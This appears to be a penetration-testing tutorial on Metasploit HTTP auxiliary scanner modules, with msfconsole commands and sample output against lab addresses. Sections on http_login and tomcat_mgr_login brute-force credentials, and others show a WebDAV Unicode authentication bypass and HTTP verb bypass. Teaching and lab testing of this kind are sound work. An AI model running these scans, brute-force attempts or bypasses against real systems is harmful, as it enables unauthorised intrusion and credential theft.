Scanner HTTP Auxiliary Modules a11y.text Scanner HTTP Auxiliary Modules cert a11y.text cert The cert scanner module is a useful administrative scanner that allows you to cover a subnet to check whether or not server certificates are expired. msf > use auxiliary/scanner/http/cert

msf auxiliary(cert) > show options

Module options:

Name	Current Setting	Required	Description
ISSUER	.*	yes	Show a warning if the Issuer doesn't match this regex
RHOSTS		yes	The target address range or CIDR identifier
RPORT	443	yes	The target port
SHOWALL	false	no	Show all certificates (issuer,time) regardless of match
THREADS	1	yes	The number of concurrent threads To run the module, we just set our RHOSTS and THREADS values and let it do its thing. msf auxiliary(cert) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

msf auxiliary(cert) > set THREADS 254

THREADS => 254

msf auxiliary(cert) > run

[*] 192.168.1.11 - '192.168.1.11' : 'Sat Sep 25 07:16:02 UTC 2010' - 'Tue Sep 22 07:16:02 UTC 2020'

[*] 192.168.1.10 - '192.168.1.10' : 'Wed Mar 10 00:13:26 UTC 2010' - 'Sat Mar 07 00:13:26 UTC 2020'

[*] 192.168.1.201 - 'localhost' : 'Tue Nov 10 23:48:47 UTC 2009' - 'Fri Nov 08 23:48:47 UTC 2019'

[*] Scanned 255 of 256 hosts (099% complete)

[*] Scanned 256 of 256 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(cert) > The module output shows the certificate issuer, the issue date, and the expiry date. dir_listing a11y.text dir_listing The dir_listing module will connect to a provided range of web servers and determine if directory listings are enabled on them. msf > use auxiliary/scanner/http/dir_listing

msf auxiliary(dir_listing) > show options

Module options (auxiliary/scanner/http/dir_listing):

Name	Current Setting	Required	Description
PATH	/	yes	The path to identify directoy listing
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host Note that the module can be set to search in a particular path but we will simply run it in its default configuration. msf auxiliary(dir_listing) > set RHOSTS 192.168.1.200-254

RHOSTS => 192.168.1.200-254

msf auxiliary(dir_listing) > set THREADS 55

THREADS => 55

msf auxiliary(dir_listing) > run

[*] NOT Vulnerable to directory listing http://192.168.1.209:80/

[*] NOT Vulnerable to directory listing http://192.168.1.211:80/

[*] Found Directory Listing http://192.168.1.223:80/

[*] NOT Vulnerable to directory listing http://192.168.1.234:80/

[*] NOT Vulnerable to directory listing http://192.168.1.230:80/

[*] Scanned 27 of 55 hosts (049% complete)

[*] Scanned 50 of 55 hosts (090% complete)

[*] Scanned 52 of 55 hosts (094% complete)

[*] Scanned 53 of 55 hosts (096% complete)

[*] Scanned 54 of 55 hosts (098% complete)

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(dir_listing) > As can be seen in the above output, one of our scanned servers does indeed have directory listings enabled on the root of the server. Findings like these can turn into a gold mine of valuable information. dir_scanner a11y.text dir_scanner The dir_scanner module scans one or more web servers for interesting directories that can be further explored. msf > use auxiliary/scanner/http/dir_scanner

msf auxiliary(dir_scanner) > show options

Module options (auxiliary/scanner/http/dir_scanner):

Name	Current Setting	Required	Description
DICTIONARY	/usr/share/metasploit-framework/data/wmap/wmap_dirs.txt	no	Path of word dictionary to use

PATH / yes The path to identify files

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host We will accept the default dictionary included in Metasploit, set our target, and let the scanner run. msf auxiliary(dir_scanner) > set RHOSTS 192.168.1.201

RHOSTS => 192.168.1.201

msf auxiliary(dir_scanner) > run

[*] Using code '404' as not found for 192.168.1.201

[*] Found http://192.168.1.201:80/.../ 403 (192.168.1.201)

[*] Found http://192.168.1.201:80/Joomla/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/cgi-bin/ 403 (192.168.1.201)

[*] Found http://192.168.1.201:80/error/ 403 (192.168.1.201)

[*] Found http://192.168.1.201:80/icons/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/oscommerce/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/phpmyadmin/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/security/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/webalizer/ 200 (192.168.1.201)

[*] Found http://192.168.1.201:80/webdav/ 200 (192.168.1.201)

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(dir_scanner) > Our quick scan has turned up a number of directories on our target server that we would certainly want to investigate further. dir_webdav_unicode_bypass a11y.text dir_webdav_unicode_bypass The dir_webdav_unicode_bypass module scans a given range of webservers and attempts to bypass the authentication using the WebDAV IIS6 Unicode vulnerability . msf > use auxiliary/scanner/http/dir_webdav_unicode_bypass

msf auxiliary(dir_webdav_unicode_bypass) > show options

Module options (auxiliary/scanner/http/dir_webdav_unicode_bypass):

Name	Current Setting	Required	Description
DICTIONARY	/usr/share/metasploit-framework/data/wmap/wmap_dirs.txt	no	Path of word dictionary to use
ERROR_CODE	404	yes	Error code for non existent directory
HTTP404S	/usr/share/metasploit-framework/data/wmap/wmap_404s.txt	no	Path of 404 signatures to use
PATH	/	yes	The path to identify files
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing

connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host We will keep the default DICTIONARY and HTTP404S dictionary settings, set our RHOSTS and THREADS values and let the module run. msf auxiliary(dir_webdav_unicode_bypass) > set RHOSTS 192.168.1.200-254

RHOSTS => 192.168.1.200-254

msf auxiliary(dir_webdav_unicode_bypass) > set THREADS 20

THREADS => 20

msf auxiliary(dir_webdav_unicode_bypass) > run

[*] Using code '404' as not found.

[*] Using code '404' as not found.

[*] Using code '404' as not found.

[*] Found protected folder http://192.168.1.211:80/admin/ 401 (192.168.1.211)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Found protected folder http://192.168.1.223:80/phpmyadmin/ 401 (192.168.1.223)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Found protected folder http://192.168.1.223:80/security/ 401 (192.168.1.223)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Found protected folder http://192.168.1.204:80/printers/ 401 (192.168.1.204)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.204:80/%c0%afprinters/ 207 (192.168.1.204)

[*] Found protected folder http://192.168.1.203:80/printers/ 401 (192.168.1.203)

[*] Testing for unicode bypass in IIS6 with WebDAV enabled using PROPFIND request.

[*] Found vulnerable WebDAV Unicode bypass target http://192.168.1.203:80/%c0%afprinters/ 207 (192.168.1.203)

...snip...

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(dir_webdav_unicode_bypass) > Our scan has found vulnerable servers. This vulnerability can potentially allow us to list, download, or even upload files to password protected folders. enum_wayback a11y.text enum_wayback The enum_wayback auxiliary module will query the archive.org site for any urlâ€™s that have been archived for a given domain. This can be useful for locating valuable information or for finding pages on a site that have since been unlinked. msf > use auxiliary/scanner/http/enum_wayback

msf auxiliary(enum_wayback) > show options

Module options:

Name	Current Setting	Required	Description
DOMAIN		yes	Domain to request URLS for
OUTFILE		no	Where to output the list for use The only configuration item that we need to set is the DOMAIN value and then we let the scanner do its thing. msf auxiliary(enum_wayback) > set DOMAIN metasploit.com

DOMAIN => metasploit.com

msf auxiliary(enum_wayback) > run

[*] Pulling urls from Archive.org

[*] Located 1300 addresses for metasploit.com

http://metasploit.com/

http://metasploit.com/?

http://metasploit.com/?OS=CrossReference&SP=CrossReference

http://metasploit.com/?OS=Windows+2000

http://metasploit.com/?OS=Windows+2003

http://metasploit.com/?OS=Windows+NT

http://metasploit.com/?OS=Windows+XP

http://metasploit.com/?kangtatantakwa

http://metasploit.com/archive/framework/bin00000.bin

...snip...

http://metasploit.com/projects/Framework/screenshots/v20_web_01_big.jpg

http://metasploit.com/projects/Framework/screenshots/v23_con_01_big.jpg

http://metasploit.com/projects/Framework/screenshots/v23_con_02_big.jpg

[*] Auxiliary module execution completed

msf auxiliary(enum_wayback) > files_dir a11y.text files_dir The files_dir takes a wordlist as input and queries a host or range of hosts for the presence of interesting files on the target. msf > use auxiliary/scanner/http/files_dir

msf auxiliary(files_dir) > show options

Module options (auxiliary/scanner/http/files_dir):

Name	Current Setting	Required	Description
DICTIONARY	/usr/share/metasploit-framework/data/wmap/wmap_files.txt	no	Path of word dictionary to use
EXT		no	Append file extension to use

PATH / yes The path to identify files

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host The built-in DICTIONARY list will serve our purposes so we simply set our RHOSTS value and let the scanner run against our target. msf auxiliary(files_dir) > set RHOSTS 192.168.0.155

RHOSTS => 192.168.0.155

msf auxiliary(files_dir) > run

[*] Using code '404' as not found for files with extension .null

[*] Using code '404' as not found for files with extension .backup

[*] Using code '404' as not found for files with extension .bak

[*] Using code '404' as not found for files with extension .c

[*] Using code '404' as not found for files with extension .cfg

[*] Using code '404' as not found for files with extension .class

[*] Using code '404' as not found for files with extension .copy

[*] Using code '404' as not found for files with extension .conf

[*] Using code '404' as not found for files with extension .exe

[*] Using code '404' as not found for files with extension .html

[*] Found http://192.168.0.155:80/index.html 200

[*] Using code '404' as not found for files with extension .htm

[*] Using code '404' as not found for files with extension .ini

[*] Using code '404' as not found for files with extension .log

[*] Using code '404' as not found for files with extension .old

[*] Using code '404' as not found for files with extension .orig

[*] Using code '404' as not found for files with extension .php

[*] Using code '404' as not found for files with extension .tar

[*] Using code '404' as not found for files with extension .tar.gz

[*] Using code '404' as not found for files with extension .tgz

[*] Using code '404' as not found for files with extension .tmp

[*] Using code '404' as not found for files with extension .temp

[*] Using code '404' as not found for files with extension .txt

[*] Using code '404' as not found for files with extension .zip

[*] Using code '404' as not found for files with extension ~

[*] Using code '404' as not found for files with extension

[*] Found http://192.168.0.155:80/blog 301

[*] Found http://192.168.0.155:80/index 200

[*] Using code '404' as not found for files with extension

[*] Found http://192.168.0.155:80/blog 301

[*] Found http://192.168.0.155:80/index 200

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(files_dir) > http_login a11y.text http_login The http_login module is a brute-force login scanner that attempts to authenticate to a system using HTTP authentication. msf > use auxiliary/scanner/http/http_login

msf auxiliary(http_login) > show options

Module options (auxiliary/scanner/http/http_login):

Name	Current Setting	Required	Description
AUTH_URI		no	The URI to authenticate against (default:auto)
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt	no	File containing passwords, one per line
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
REQUESTTYPE	GET	no	Use HTTP-GET or HTTP-PUT for Digest-Auth, PROPFIND for WebDAV (default:GET)
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host

THREADS 1 yes The number of concurrent threads

USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_userpass.txt no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE /usr/share/metasploit-framework/data/wordlists/http_default_users.txt no File containing users, one per line

VERBOSE true yes Whether to print output for all attempts

VHOST no HTTP server virtual host To configure the module, we set the AUTH_URI setting to the path of the page requesting authentication, our RHOSTS value and to reduce output, we set the VERBOSE value to â€˜falseâ€™. msf auxiliary(http_login) > set AUTH_URI /xampp/

AUTH_URI => /xampp/

msf auxiliary(http_login) > set RHOSTS 192.168.1.201

RHOSTS => 192.168.1.201

msf auxiliary(http_login) > set VERBOSE false

VERBOSE => false

msf auxiliary(http_login) > run

[*] Attempting to login to http://192.168.1.201:80/xampp/ with Basic authentication

[+] http://192.168.1.201:80/xampp/ - Successful login 'admin' : 's3cr3t'

[*] http://192.168.1.201:80/xampp/ - Random usernames are not allowed.

[*] http://192.168.1.201:80/xampp/ - Random passwords are not allowed.

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(http_login) > As can be seen in the above output, our scan found a valid set of credentials for the directory. open_proxy a11y.text open_proxy The open_proxy module scans a host or range of hosts looking for open proxy servers. This module helps mitigate false positives by allowing us to declare valid HTTP codes to determine whether a connection was successfully made.

msf > use auxiliary/scanner/http/open_proxy

msf auxiliary(open_proxy) > show options

Module options (auxiliary/scanner/http/open_proxy):

Name	Current Setting	Required	Description
CHECKURL	http://www.google.com	yes	The web site to test via alleged web proxy
MULTIPORTS	false	no	Multiple ports will be used: 80, 443, 1080, 3128, 8000, 8080, 8123
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	8080	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VALIDCODES	200,302	yes	Valid HTTP code for a successfully request
VALIDPATTERN	302 Moved	yes	Valid pattern match (case-sensitive into the

headers and HTML body) for a successfully request

VERIFYCONNECT false no Enable CONNECT HTTP method check

VHOST no HTTP server virtual host We set our RHOSTS value to a small range of IP addresses and have the module scan port 8888 or proxy servers. msf auxiliary(open_proxy) > set RHOSTS 192.168.1.200-210

RHOSTS => 192.168.1.200-210

msf auxiliary(open_proxy) > set RPORT 8888

RPORT => 8888

msf auxiliary(open_proxy) > set THREADS 11

THREADS => 11

msf auxiliary(open_proxy) > run

[*] 192.168.1.201:8888 is a potentially OPEN proxy [200] (n/a)

[*] Scanned 02 of 11 hosts (018% complete)

[*] Scanned 03 of 11 hosts (027% complete)

[*] Scanned 04 of 11 hosts (036% complete)

[*] Scanned 05 of 11 hosts (045% complete)

[*] Scanned 11 of 11 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(open_proxy) > options a11y.text options The options scanner module connects to a given range of IP address and queries any web servers for the options that are available on them. Some of these options can be further leveraged to penetrated the system. msf > use auxiliary/scanner/http/options

msf auxiliary(options) > show options

Module options (auxiliary/scanner/http/options):

Name Current Setting Required Description

---- --------------- -------- -----------

Proxies no A proxy chain of format type:host:port[,type:host:port][...]

RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

THREADS 1 yes The number of concurrent threads

VHOST no HTTP server virtual host We set our RHOSTS and THREADS value and let the scanner run. msf auxiliary(options) > set RHOSTS 192.168.1.200-210

RHOSTS => 192.168.1.200-254

msf auxiliary(options) > set THREADS 11

THREADS => 11

msf auxiliary(options) > run

[*] 192.168.1.203 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods

[*] 192.168.1.204 allows OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK methods

[*] 192.168.1.205 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK methods

[*] 192.168.1.206 allows OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK methods

[*] 192.168.1.208 allows GET,HEAD,POST,OPTIONS,TRACE methods

[*] 192.168.1.209 allows GET,HEAD,POST,OPTIONS,TRACE methods

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(options) > robots_txt a11y.text robots_txt The robots_txt auxiliary module scans a server or range of servers for the presence and contents of a robots.txt file. These files can frequently contain valuable information that administrators donâ€™t want search engines to discover. msf > use auxiliary/scanner/http/robots_txt

msf auxiliary(robots_txt) > show options

Module options (auxiliary/scanner/http/robots_txt):

Name	Current Setting	Required	Description
PATH	/	yes	The test path to find robots.txt file
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host The configuration for this module is minimal.

We simply set the RHOSTS and THEADS values and let it go. msf auxiliary(robots_txt) > set RHOSTS 192.168.1.200-254

RHOSTS => 192.168.1.200-254

msf auxiliary(robots_txt) > set THREADS 20

THREADS => 20

msf auxiliary(robots_txt) > run

[*] [192.168.1.208] /robots.txt - /internal/, /tmp/

[*] [192.168.1.209] /robots.txt - /

[*] [192.168.1.211] /robots.txt - /

[*] Scanned 15 of 55 hosts (027% complete)

[*] Scanned 29 of 55 hosts (052% complete)

[*] Scanned 38 of 55 hosts (069% complete)

[*] Scanned 39 of 55 hosts (070% complete)

[*] Scanned 40 of 55 hosts (072% complete)

[*] Scanned 44 of 55 hosts (080% complete)

[*] Scanned 45 of 55 hosts (081% complete)

[*] Scanned 46 of 55 hosts (083% complete)

[*] Scanned 50 of 55 hosts (090% complete)

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(robots_txt) > ssl a11y.text ssl The ssl module queries a host or range of hosts and pull the SSL certificate information if present. msf > use auxiliary/scanner/http/ssl

msf auxiliary(ssl) > show options

Module options:

Name	Current Setting	Required	Description
RHOSTS		yes	The target address range or CIDR identifier
RPORT	443	yes	The target port
THREADS	1	yes	The number of concurrent threads To configure the module, we set our RHOSTS and THREADS values and let it run. msf auxiliary(ssl) > set RHOSTS 192.168.1.200-254

```
RHOSTS => 192.168.1.200-254
msf auxiliary(ssl) > set THREADS 20
THREADS => 20
msf auxiliary(ssl) > run

[*] Error: 192.168.1.205: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0
state=SSLv3 read server hello A
[*] Error: 192.168.1.206: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0
state=SSLv3 read server hello A
[*] 192.168.1.208:443 Subject:
/C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhos
t.localdomain/emailAddress=root@localhost.localdomain Signature Alg: md5WithRSAEncryption
[*] 192.168.1.208:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.208:443 has common name localhost.localdomain
[*] 192.168.1.211:443 Subject:
/C=--/ST=SomeState/L=SomeCity/O=SomeOrganization/OU=SomeOrganizationalUnit/CN=localhos
t.localdomain/emailAddress=root@localhost.localdomain Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.211:443 has common name localhost.localdomain
[*] Scanned 13 of 55 hosts (023% complete)
[*] Error: 192.168.1.227: OpenSSL::SSL::SSLError SSL_connect SYSCALL returned=5 errno=0
state=SSLv3 read server hello A
[*] 192.168.1.223:443 Subject: /CN=localhost Signature Alg: sha1WithRSAEncryption
[*] 192.168.1.223:443 has common name localhost
[*] 192.168.1.222:443 WARNING: Signature algorithm using MD5 (md5WithRSAEncryption)
[*] 192.168.1.222:443 has common name MAILMAN
[*] Scanned 30 of 55 hosts (054% complete)
```

[*] Scanned 31 of 55 hosts (056% complete)

[*] Scanned 39 of 55 hosts (070% complete)

[*] Scanned 41 of 55 hosts (074% complete)

[*] Scanned 43 of 55 hosts (078% complete)

[*] Scanned 45 of 55 hosts (081% complete)

[*] Scanned 46 of 55 hosts (083% complete)

[*] Scanned 53 of 55 hosts (096% complete)

[*] Scanned 55 of 55 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(ssl) > http_version a11y.text http_version The http_version scanner will scan a range of hosts and determine the web server version that is running on them. msf > use auxiliary/scanner/http/http_version

msf auxiliary(http_version) > show options

Module options (auxiliary/scanner/http/http_version):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host To run the scan, we set the RHOSTS and THREADS values and let it run. msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24

RHOSTS => 192.168.1.0/24

```
msf auxiliary(http_version) > set THREADS 255
THREADS => 255
msf auxiliary(http_version) > run

[*] 192.168.1.2 Web Server
[*] 192.168.1.1 Apache ( 302-https://192.168.1.1:10443/ )
[*] 192.168.1.11
[*] Scanned 080 of 256 hosts (031% complete)
[*] 192.168.1.101 Apache/2.2.9 (Ubuntu) PHP/5.2.6-bt0 with Suhosin-Patch
...snip...
[*] 192.168.1.250 lighttpd/1.4.26 ( 302-http://192.168.1.250/account/login/?next=/ )
[*] Scanned 198 of 256 hosts (077% complete)
[*] Scanned 214 of 256 hosts (083% complete)
[*] Scanned 248 of 256 hosts (096% complete)
[*] Scanned 253 of 256 hosts (098% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(http_version) > Armed with the knowledge of the target web server software, attacks can be specifically tailored to suit the target. tomcat_mgr_login a11y.text tomcat_mgr_login The tomcat_mgr_login auxiliary module simply attempts to login to a Tomcat Manager Application instance using a provided username and password list. msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options

Module options (auxiliary/scanner/http/tomcat_mgr_login):
```

```
   Name              Current Setting                                                  Required  Description
   ----              ---------------                                                  --------  -----------
   BLANK_PASSWORDS   false                                                            no        Try blank
passwords for all users
   BRUTEFORCE_SPEED  5                                                              yes       How fast to
bruteforce, from 0 to 5
   DB_ALL_CREDS      false                                                          no        Try each
user/password couple stored in the current database
   DB_ALL_PASS       false                                                          no        Add all passwords
in the current database to the list
   DB_ALL_USERS      false                                                          no        Add all users in
the current database to the list
   PASSWORD                                                                         no        The HTTP password
to specify for authentication
   PASS_FILE         /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt
no        File containing passwords, one per line
   Proxies                                                                          no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS                                                                           yes       The target address
range or CIDR identifier
   RPORT             8080                                                           yes       The target port (TCP)
   SSL               false                                                          no        Negotiate SSL/TLS for
outgoing connections
   STOP_ON_SUCCESS   false                                                          yes       Stop
guessing when a credential works for a host
   TARGETURI         /manager/html                                                  yes       URI for
```

Manager login. Default is /manager/html

THREADS 1 yes The number of concurrent threads

USERNAME no The HTTP username to specify for authentication

USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_userpass.txt no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt no File containing users, one per line

VERBOSE true yes Whether to print output for all attempts

VHOST no HTTP server virtual host

We will keep the default username and password files, set our RHOSTS and the RPORT of our target and let it run. msf auxiliary(tomcat_mgr_login) > set RHOSTS 192.168.1.208

RHOSTS => 192.168.1.208

msf auxiliary(tomcat_mgr_login) > set RPORT 8180

RPORT => 8180

msf auxiliary(tomcat_mgr_login) > set VERBOSE false

VERBOSE => false

msf auxiliary(tomcat_mgr_login) > run

[+] http://192.168.1.208:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tomcat_mgr_login) > Our quick scan turned up a default set of tomcat credentials on our target system. verb_auth_bypass a11y.text verb_auth_bypass The verb_auth_bypass module scans a server or range of servers and attempts to bypass authentication by using different HTTP verbs. msf > use auxiliary/scanner/http/verb_auth_bypass

msf auxiliary(verb_auth_bypass) > show options

Module options (auxiliary/scanner/http/verb_auth_bypass):

Name	Current Setting	Required	Description
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
TARGETURI	/	yes	The path to test
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host We configure this module by setting the path to the page requiring authentication, set our RHOSTS value and let the scanner run. msf auxiliary(verb_auth_bypass) > set PATH /xampp/

PATH => /xampp/

msf auxiliary(verb_auth_bypass) > set RHOSTS 192.168.1.201

RHOSTS => 192.168.1.201

msf auxiliary(verb_auth_bypass) > run

[*] 192.168.1.201 requires authentication: Basic realm="xampp user" [401]

[*] Testing verb HEAD resp code: [401]

[*] Testing verb TRACE resp code: [200]

[*] Possible authentication bypass with verb TRACE code 200

[*] Testing verb TRACK resp code: [401]

[*] Testing verb WMAP resp code: [401]

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(verb_auth_bypass) > By reading the returned server status codes, the module indicates there is a potential auth bypass by using the TRACE verb on our target. webdav_scanner a11y.text webdav_scanner The webdav_scanner module scans a server or range of servers and attempts to determine if WebDav is enabled. This allows us to better fine-tune our attacks. msf > use auxiliary/scanner/http/webdav_scanner

msf auxiliary(webdav_scanner) > show options

Module options (auxiliary/scanner/http/webdav_scanner):

Name	Current Setting	Required	Description
PATH	/	yes	Path to use
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host The only configuration we need to do is to

set our RHOSTS and THREADS values and let the scanner run. msf auxiliary(webdav_scanner) >

set RHOSTS 192.168.1.200-250

RHOSTS => 192.168.1.200-250

msf auxiliary(webdav_scanner) > set THREADS 20

THREADS => 20

msf auxiliary(webdav_scanner) > run

[*] 192.168.1.203 (Microsoft-IIS/5.1) has WEBDAV ENABLED

[*] 192.168.1.209 (Apache/2.0.54 (Linux/SUSE)) WebDAV disabled.

[*] 192.168.1.208 (Apache/2.0.52 (CentOS)) WebDAV disabled.

[*] 192.168.1.213 (Apache/2.2.14 (Ubuntu)) WebDAV disabled.

[*] Scanned 14 of 51 hosts (027% complete)

[*] 192.168.1.222 (Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_python/2.7.6 Python/1.5.2 mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26 mod_throttle/3.1.2) WebDAV disabled.

[*] 192.168.1.223 (Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1) WebDAV disabled.

[*] 192.168.1.229 (Microsoft-IIS/6.0) has WEBDAV ENABLED

[*] 192.168.1.224 (Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6) WebDAV disabled.

[*] 192.168.1.227 (Microsoft-IIS/5.0) has WEBDAV ENABLED

[*] Scanned 28 of 51 hosts (054% complete)

[*] 192.168.1.234 (lighttpd/1.4.25) WebDAV disabled.

[*] 192.168.1.235 (Apache/2.2.3 (CentOS)) WebDAV disabled.

[*] Scanned 38 of 51 hosts (074% complete)

[*] Scanned 51 of 51 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(webdav_scanner) > webdav_website_content a11y.text webdav_website_content The webdav_website_content auxiliary module scans a host or range of hosts for servers that disclose their content via WebDav. msf > use auxiliary/scanner/http/webdav_website_content

msf auxiliary(webdav_website_content) > show options

Module options (auxiliary/scanner/http/webdav_website_content):

Name	Current Setting	Required	Description
PATH	/	yes	Path to use
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target address range or CIDR identifier
RPORT	80	yes	The target port (TCP)
SSL	false	no	Negotiate SSL/TLS for outgoing connections
THREADS	1	yes	The number of concurrent threads
VHOST		no	HTTP server virtual host As this module can produce a lot of output, we will set RHOSTS to target a single machine and let it run. msf

auxiliary(webdav_website_content) > set RHOSTS 192.168.1.201

RHOSTS => 192.168.1.201

msf auxiliary(webdav_website_content) > run

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/aspnet_client/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/images/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_private/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_cnf/

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_cnf/iisstart.htm

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_cnf/pagerror.gif

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_log/

[*] Found file or directory in WebDAV response (192.168.1.201) http://192.168.1.201/_vti_pvt/

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/access.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

http://192.168.1.201/_vti_pvt/botinfs.cnf

[*] Found file or directory in WebDAV response (192.168.1.201)

